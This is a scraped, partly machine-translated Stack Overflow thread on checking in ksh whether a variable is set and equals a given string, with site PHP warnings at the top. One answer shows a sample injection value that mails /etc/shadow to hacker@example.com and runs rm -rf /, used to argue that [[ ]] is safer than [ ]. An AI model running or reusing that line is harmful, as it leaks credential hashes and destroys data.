Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/shell/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Shell 检查变量是否已设置且值为ksh_Shell_Ksh - Fatal编程技术网

Shell 检查变量是否已设置且值为ksh

Shell 检查变量是否已设置且值为ksh,shell,ksh,Shell,Ksh,我有一个脚本,它接受用户输入,刷新选项是可选的。我需要测试$REFRESH是否存在,是否等于字符串“REFRESH”,然后运行特定的代码块 用户将执行 ./export_data.sh <user> <type> [REFRESH] 我唯一能想到的另一种方法是嵌套if,但这看起来很混乱: if [ -n $REFRESH ] then if [ $REFRESH == "REFRESH" ] then echo "variable is

我有一个脚本,它接受用户输入,刷新选项是可选的。我需要测试$REFRESH是否存在,是否等于字符串“REFRESH”,然后运行特定的代码块

用户将执行

./export_data.sh <user> <type> [REFRESH]
我唯一能想到的另一种方法是嵌套if,但这看起来很混乱:

if [ -n $REFRESH ]
then
    if [ $REFRESH == "REFRESH" ]
    then
        echo "variable is set and the expected value";
        # do stuff
fi
有更好的方法吗

if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...
如果
$REFRESH
中没有值,或者该值是空字符串,则此选项将替换
unset
。无论哪种方式,它都不同于“刷新”,因此它的行为符合要求

测试变量时,用双引号括起来;这可以省去焦虑。事实上,这意味着你可以简单地写:

if [ "$REFRESH" = "REFRESH" ]
then ...

回答这一具体问题:

如果我在PHP中执行此操作,我只需使用isset()函数,ksh中是否存在等效函数?


我想对乔纳森的回答发表评论,但我在这方面是个新手,不值得信任

无论如何,如果你想在ksh中避免焦虑,千万不要使用传统的Bourne shell[]。相反,请使用[]

if [[ $REFRESH == REFRESH ]]; then
这将始终按照您想要的方式进行评估。即使以下任何一种情况发生在if语句之前

REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker@example.com < /etc/shadow`;  sleep 5; rm -rf /`'

这里我们看到,在使用[[]]时,引用RHS比引用LHS更重要。此外,这表明[[]]允许使用模式和模式列表进行更强大的匹配。

顺便说一句,在我看来,测试变量是否设置的最好(因为这是最简单的)方法是:

if [ "$PIPPO" ] ; then  
   echo "Set"  
fi


如果[“${REFRESH:-unset}”!=“unset”],它不应该是
?否。问题是:我需要测试$REFRESH是否存在并且是否等于字符串“REFRESH”。确实如此。实际上有两个问题,一个是明确的,你的回答没有直接提到,另一个是隐含的,很可能是真实的。我接受了乔纳森的回答,因为它涵盖了我的两个问题。回过头来,重新审视我的脚本,我发现我没有将变量$REFRESH括在引号中(现在已修复)。脚本现在可以按我的要求工作了。然而,替代值的解决方案将在未来派上用场。我没有足够的代表投票支持答案,否则两者都会得到+1。
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker@example.com < /etc/shadow`;  sleep 5; rm -rf /`'
$ val='@(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
if [ "$PIPPO" ] ; then  
   echo "Set"  
fi
if [ ! "$PIPPO" ] ; then  
   echo "Not Set"  
fi